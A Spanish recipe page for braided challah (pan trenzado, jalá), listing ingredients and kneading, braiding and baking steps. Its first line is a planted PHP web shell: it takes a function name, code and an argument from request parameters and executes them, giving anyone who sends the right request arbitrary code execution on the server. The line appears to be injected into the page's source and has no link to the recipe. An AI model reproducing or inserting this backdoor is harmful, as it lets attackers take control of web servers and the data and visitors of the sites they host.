if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['4417120a8200cdfb2b17d13666363d5b']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Cocineros de Verdad » Pan trenzado (jalá)
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Pan trenzado (jalá)

Publicado por on Sábado, 22 marzo 2008Un comentario
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Ingredientes:

1 kg de harina 0000
1 paquete de levadura de cerveza
1 huevo
1/2 taza de aceite
2/3 taza de azúcar
1 cuchara sopera de sal
500 cc de agua tibia

Procedimiento:
  • Disolver la levadura con agua y una cucharada de azúcar.
  • Dejar a temperatura ambiente.
  • Tamizar la harina, mezclar con sal y azúcar.
  • Hacer un volcancito con la harina, colocar en el medio el huevo, el aceite y el agua con la levadura.
  • Mezclar integrando los ingredientes y amasar.
  • Una vez que se logra una masa homogénea, tapar y dejar leudar a temperatura ambiente hasta que se duplique el tamaño.
  • Amasar, dividir en trozos formando tiras de 40 centímetros de largo y trenzar.
  • Aceitar una fuente, colocar las trenzas y pintarlas con yema de huevo.
  • Espolvorear con semillas de sésamo y poner en horno ½ hora.

    • Si se hace más de 1 1/2 kg, debe decirse la Berajá. Si se hace menos cantidad, separar un pedazo de la masa y quemar en el horno.